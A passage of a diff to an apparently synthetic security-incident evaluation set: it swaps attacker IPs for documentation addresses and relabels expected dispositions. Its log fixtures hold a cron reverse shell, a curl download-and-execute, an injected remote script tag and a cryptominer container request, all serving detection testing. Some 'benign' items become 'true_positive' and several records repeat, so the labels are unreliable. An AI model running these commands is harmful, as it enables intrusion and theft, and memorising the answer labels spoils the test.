LIN-BUILD-CI03 to 91.134.231.15",- "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 192.0.2.15",+ "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 192.0.2.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.","severity": "critical","raw_alert": {- "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 192.0.2.15","severity": "critical","template_id": "https-c2-beacon"},@@ -3931,7 +3931,7 @@"Provider": "Microsoft-Windows-Sysmon","EventID": 3,"Computer": "LIN-BUILD-CI03",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1",@@ -3939,7 +3939,7 @@"jitter_pct": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.001"],@@ -3991,7 +3991,7 @@"threat_actor": "FIN7"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1486"],@@ -4025,7 +4025,7 @@"cpu_pct": 95}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1496"],@@ -4059,7 +4059,7 @@"threat_actor": "APT29"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1657"@@ -4074,7 +4074,7 @@"id": "INC-EVAL-096","provenance": "synthetic","title": "Public S3 bucket exposing PII",- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15.","severity": "critical","raw_alert": {"title": "Public S3 bucket exposing PII",@@ -4108,7 +4108,7 @@"eventName": "ListObjectsV2","eventSource": "s3.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","requestParameters": {"bucketName": "aisoc-employees","max-keys": 1000@@ -4118,7 +4118,7 @@}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1530","T1567.002"@@ -4160,7 +4160,7 @@"riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1550.001"@@ -4194,7 +4194,7 @@"duration_secs": 720}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1498.001"],@@ -4229,7 +4229,7 @@"Bytes": 8300000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1114.002","T1567.002"@@ -4274,7 +4274,7 @@"DestinationPort": 443}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1137.006","T1071.001"@@ -4284,11 +4284,11 @@{"id": "INC-EVAL-101","provenance": "synthetic",- "title": "GitHub PAT leaked and abused from 45.142.122.111",- "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 203.0.113.111",+ "description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","severity": "critical","raw_alert": {- "title": "GitHub PAT leaked and abused from 45.142.122.111",+ "title": "GitHub PAT leaked and abused from 203.0.113.111","severity": "critical","template_id": "github-pat-leak"},@@ -4297,7 +4297,7 @@"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "45.142.122.111",+ "actor_ip": "203.0.113.111","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -4312,7 +4312,7 @@"secret_detected": "github_pat_*"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.001","T1213.003"@@ -4357,7 +4357,7 @@"userAgent": "aws-cli/2.13"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.005","T1078.004"@@ -4368,7 +4368,7 @@"id": "INC-EVAL-103","provenance": "synthetic","title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds.","severity": "high","raw_alert": {"title": "Vendor admin password reset abuse for [email protected]",@@ -4388,12 +4388,12 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "185.220.101.7",+ "ipAddress": "198.51.100.7","resultType": 0,"seconds_after_reset": 87}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.004","T1078"@@ -4408,7 +4408,7 @@"id": "INC-EVAL-104","provenance": "synthetic","title": "OAuth refresh-token theft for [email protected]",- "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",+ "description": "Refresh token for [email protected] replayed from 192.0.2.15. Granted access to mailbox + OneDrive without re-prompt.","severity": "high","raw_alert": {"title": "OAuth refresh-token theft for [email protected]",@@ -4420,14 +4420,14 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"authenticationProtocol": "oAuth2","grantType": "refresh_token","resourceDisplayName": "Microsoft Graph"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.001"],@@ -4480,7 +4480,7 @@"cve_layer_count": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1610"@@ -4513,7 +4513,7 @@"threat_actor": "MosaicRegressor"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1564.008","T1114.003"@@ -4548,7 +4548,7 @@"user": "[email protected]"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.002"],@@ -4592,7 +4592,7 @@"secret_detected": true}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1552.004"@@ -4631,7 +4631,7 @@"EventCount": 128}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1021.002"@@ -4666,7 +4666,7 @@"LogonType": 5}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.001","T1070.001"@@ -4720,7 +4720,7 @@"threat_actor": "Scattered Spider"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1059.005"@@ -4764,7 +4764,7 @@"rule_match": "WAF:SSRF:2007"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1190","T1082"@@ -4778,11 +4778,11 @@{"id": "INC-EVAL-113","provenance": "synthetic",- "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",- "description": "Internal Confluence page injected with malicious JavaScript by 185.220.101.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.",+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.7",+ "description": "Internal Confluence page injected with malicious JavaScript by 198.51.100.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.","severity": "high","raw_alert": {- "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.7","severity": "high","template_id": "confluence-watering-hole"},@@ -4792,9 +4792,9 @@"http_method": "POST","url": "https://confluence.example.com/pages/editpage.action?pageId=8472","status_code": 200,- "src_ip": "185.220.101.7",+ "src_ip": "198.51.100.7","user_agent": "Mozilla/5.0",- "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"+ "payload_excerpt": "<script src=//198.51.100.7/x.js></script>"},{"source": "edr",@@ -4805,7 +4805,7 @@"threat_actor": "MagicWeb"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1189","T1203"@@ -4858,7 +4858,7 @@"dest_port": 4444}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.001","T1059.007"@@ -4899,7 +4899,7 @@"CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1091","T1005"@@ -4914,7 +4914,7 @@"id": "INC-EVAL-116","provenance": "synthetic","title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","severity": "high","raw_alert": {"title": "OAuth consent phishing targeting [email protected]",@@ -4941,12 +4941,12 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1528","T1550.001"@@ -4991,7 +4991,7 @@"threat_actor": "MosaicRegressor"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1059.001","T1027"@@ -5036,7 +5036,7 @@"Protocol": "tcp"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1105","T1218.009"@@ -5051,7 +5051,7 @@"id": "INC-EVAL-119","provenance": "synthetic","title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",- "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%.",+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.7. Container with cryptominer spawned. CPU on host saturated to 95%.","severity": "high","raw_alert": {"title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",@@ -5064,7 +5064,7 @@"http_method": "POST","url": "http://WIN-FILE-SHARE:2375/containers/create","status_code": 201,- "src_ip": "185.220.101.7",+ "src_ip": "198.51.100.7","request_body": {"Image": "monero/xmrig","HostConfig": {@@ -5084,7 +5084,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1610","T1059.004",@@ -5131,7 +5131,7 @@"Destination": "powershell.exe -enc <encoded>"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1546.003","T1059.001"@@ -5174,7 +5174,7 @@"threat_actor": "ALPHV/BlackCat"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1547.001"],@@ -5214,7 +5214,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.005"],@@ -5249,7 +5249,7 @@"indicator_path": "ESP:/EFI/Boot/bootx64.efi"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1542.001","T1027.002"@@ -5264,7 +5264,7 @@"id": "INC-EVAL-124","provenance": "synthetic","title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",- "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 91.134.231.15 every 5 minutes.",+ "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 192.0.2.15 every 5 minutes.","severity": "high","raw_alert": {"title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",@@ -5285,11 +5285,11 @@{"source": "linux_journald","_SYSTEMD_UNIT": "cron.service",- "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)",+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/192.0.2.15/4444 0>&1)","hostname": "MAC-LEGAL-LAPTOP"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.003","T1071.001"@@ -5331,7 +5331,7 @@"User": "SYSTEM"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.002"],@@ -5394,7 +5394,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1611","T1082"@@ -5438,7 +5438,7 @@"user": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.001"],@@ -5452,7 +5452,7 @@"id": "INC-EVAL-128","provenance": "synthetic","title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",- "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat.",+ "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 192.0.2.15. No disk artefacts. Linked to ALPHV/BlackCat.","severity": "critical","raw_alert": {"title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",@@ -5478,7 +5478,7 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1"@@ -5491,7 +5491,7 @@"threat_actor": "ALPHV/BlackCat"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1055.012","T1620"@@ -5535,7 +5535,7 @@"CommandLine": "wevtutil cl Security"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.001"],@@ -5585,7 +5585,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1562.001"],@@ -5630,7 +5630,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.001"],@@ -5643,11 +5643,11 @@{"id": "INC-EVAL-132","provenance": "synthetic",- "title": "Brute-force credential spray against [email protected] from 91.134.231.15",- "description": "Credential spray from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "Brute-force credential spray against [email protected] from 192.0.2.15",+ "description": "Credential spray from 192.0.2.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","severity": "high","raw_alert": {- "title": "Brute-force credential spray against [email protected] from 91.134.231.15",+ "title": "Brute-force credential spray against [email protected] from 192.0.2.15","severity": "high","template_id": "credential-spray"},@@ -5656,7 +5656,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 50126,"resultDescription": "Invalid username or password","appDisplayName": "Office 365 Exchange Online",@@ -5666,14 +5666,14 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"resultDescription": "Success","conditionalAccessStatus": "success","riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1110.003"],@@ -5718,7 +5718,7 @@"IpAddress": "WIN-EXCHANGE-01"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1558.003","T1021.001"@@ -5754,7 +5754,7 @@"ClientIP": "WIN-FIN-DB01"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.006","T1078.002"@@ -5769,7 +5769,7 @@"id": "INC-EVAL-135","provenance": "synthetic","title": "SAML golden-ticket: forged assertion targeting [email protected]",- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 45.142.122.111.",+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 203.0.113.111.","severity": "critical","raw_alert": {"title": "SAML golden-ticket: forged assertion targeting [email protected]",@@ -5781,7 +5781,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 0,"authenticationDetails": [{@@ -5805,7 +5805,7 @@]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1606.002","T1087.002"@@ -5851,7 +5851,7 @@"EventCount": 8400}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1087.002"],@@ -5895,7 +5895,7 @@"EventCount": 256}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1135"],@@ -5939,7 +5939,7 @@"threat_actor": "MagicWeb"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.002","T1558.001"@@ -5975,7 +5975,7 @@"EventTimeUTC": "03:14:00Z"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1021.001"],@@ -5989,7 +5989,7 @@"id": "INC-EVAL-140","provenance": "synthetic","title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",- "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 192.0.2.15.","severity": "high","raw_alert": {"title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",@@ -6005,10 +6005,10 @@"Computer": "MAC-CFO-LAPTOP","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1047"],@@ -6041,7 +6041,7 @@"bytes": 10700000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1005","T1041"@@ -6085,7 +6085,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1115"],@@ -6117,7 +6117,7 @@"qps": 240}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.004","T1048.003"@@ -6132,7 +6132,7 @@"id": "INC-EVAL-144","provenance": "synthetic","title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",- "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-198.51.100.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","severity": "critical","raw_alert": {"title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",@@ -6151,17 +6151,17 @@},"sourceIPAddress": "WIN-PROD-WEB02","requestParameters": {- "bucketName": "atk-stage-185.220.101.7",+ "bucketName": "atk-stage-198.51.100.7","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-198.51.100.7/dump/customers.tar.gz"}]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002"],@@ -6195,7 +6195,7 @@"file_count": 812}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002","T1005"@@ -6210,7 +6210,7 @@"id": "INC-EVAL-146","provenance": "synthetic","title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 203.0.113.111.","severity": "high","raw_alert": {"title": "DGA-based C2 traffic from GCP-GKE-NODE-04",@@ -6233,13 +6233,13 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","threat_actor": "Scattered Spider"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1568.002"],@@ -6276,7 +6276,7 @@"jitter_pct": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.001"],@@ -6328,7 +6328,7 @@"threat_actor": "Emotet epoch 5"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1486"],@@ -6362,7 +6362,7 @@"cpu_pct": 95}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1496"],@@ -6396,7 +6396,7 @@"threat_actor": "APT29"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1657"@@ -6411,7 +6411,7 @@"id": "INC-EVAL-151","provenance": "synthetic","title": "Public S3 bucket exposing PII",- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15.","severity": "critical","raw_alert": {"title": "Public S3 bucket exposing PII",@@ -6445,7 +6445,7 @@"eventName": "ListObjectsV2","eventSource": "s3.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","requestParameters": {"bucketName": "aisoc-employees","max-keys": 1000@@ -6455,7 +6455,7 @@}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1530","T1567.002"@@ -6466,7 +6466,7 @@"id": "INC-EVAL-152","provenance": "synthetic","title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token.",+ "description": "Successful Azure AD sign-in for [email protected] from 192.0.2.15 (impossible-travel from prior location). MFA satisfied via stolen session token.","severity": "critical","raw_alert": {"title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",@@ -6478,7 +6478,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","location": {"city": "Vladivostok","countryOrRegion": "RU"@@ -6497,7 +6497,7 @@"riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1550.001"@@ -6531,7 +6531,7 @@"duration_secs": 720}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1498.001"],@@ -6566,7 +6566,7 @@"Bytes": 8300000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1114.002","T1567.002"@@ -6581,7 +6581,7 @@"id": "INC-EVAL-155","provenance": "synthetic","title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 45.142.122.111.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 203.0.113.111.","severity": "high","raw_alert": {"title": "Malicious Office add-in installed for [email protected]",@@ -6607,11 +6607,11 @@"EventID": 3,"Computer": "WIN-DC-SECONDARY","Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1137.006","T1071.001"@@ -6621,11 +6621,11 @@{"id": "INC-EVAL-156","provenance": "synthetic",- "title": "GitHub PAT leaked and abused from 45.142.122.111",- "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 203.0.113.111",+ "description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","severity": "critical","raw_alert": {- "title": "GitHub PAT leaked and abused from 45.142.122.111",+ "title": "GitHub PAT leaked and abused from 203.0.113.111","severity": "critical","template_id": "github-pat-leak"},@@ -6634,7 +6634,7 @@"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "45.142.122.111",+ "actor_ip": "203.0.113.111","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -6649,7 +6649,7 @@"secret_detected": "github_pat_*"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.001","T1213.003"@@ -6664,7 +6664,7 @@"id": "INC-EVAL-157","provenance": "synthetic","title": "EC2 instance metadata service abused on WIN-PROD-WEB02",- "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external.",+ "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 192.0.2.15. CloudTrail shows AssumeRole from external.","severity": "critical","raw_alert": {"title": "EC2 instance metadata service abused on WIN-PROD-WEB02",@@ -6685,7 +6685,7 @@"eventName": "AssumeRole","eventSource": "sts.amazonaws.com","awsRegion": "us-east-1",- "sourceIPAddress": "91.134.231.15",+ "sourceIPAddress": "192.0.2.15","userIdentity": {"type": "AssumedRole","principalId": "AIDA:role-app",@@ -6694,7 +6694,7 @@"userAgent": "aws-cli/2.13"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.005","T1078.004"@@ -6705,7 +6705,7 @@"id": "INC-EVAL-158","provenance": "synthetic","title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 91.134.231.15. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 192.0.2.15. Token claimed within 90 seconds.","severity": "high","raw_alert": {"title": "Vendor admin password reset abuse for [email protected]",@@ -6725,12 +6725,12 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "91.134.231.15",+ "ipAddress": "192.0.2.15","resultType": 0,"seconds_after_reset": 87}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.004","T1078"@@ -6764,7 +6764,7 @@"resourceDisplayName": "Microsoft Graph"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.001"],@@ -6817,7 +6817,7 @@"cve_layer_count": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1610"@@ -6828,7 +6828,7 @@"id": "INC-EVAL-161","provenance": "synthetic","title": "Outlook rule auto-forwarding mail from [email protected]",- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0.",+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 198.51.100.7. Linked to LockBit 3.0.","severity": "high","raw_alert": {"title": "Outlook rule auto-forwarding mail from [email protected]",@@ -6843,14 +6843,14 @@"UserId": "[email protected]","Parameters": {"Name": "Sync",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true,"MarkAsRead": true},"threat_actor": "LockBit 3.0"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1564.008","T1114.003"@@ -6885,7 +6885,7 @@"user": "[email protected]"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.002"],@@ -6929,7 +6929,7 @@"secret_detected": true}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1552.004"@@ -6968,7 +6968,7 @@"EventCount": 128}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1021.002"@@ -7003,7 +7003,7 @@"LogonType": 5}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.001","T1070.001"@@ -7057,7 +7057,7 @@"threat_actor": "Emotet epoch 5"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1059.005"@@ -7101,7 +7101,7 @@"rule_match": "WAF:SSRF:2007"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1190","T1082"@@ -7142,7 +7142,7 @@"threat_actor": "ALPHV/BlackCat"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1189","T1203"@@ -7158,7 +7158,7 @@"id": "INC-EVAL-169","provenance": "synthetic","title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",- "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted.",+ "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 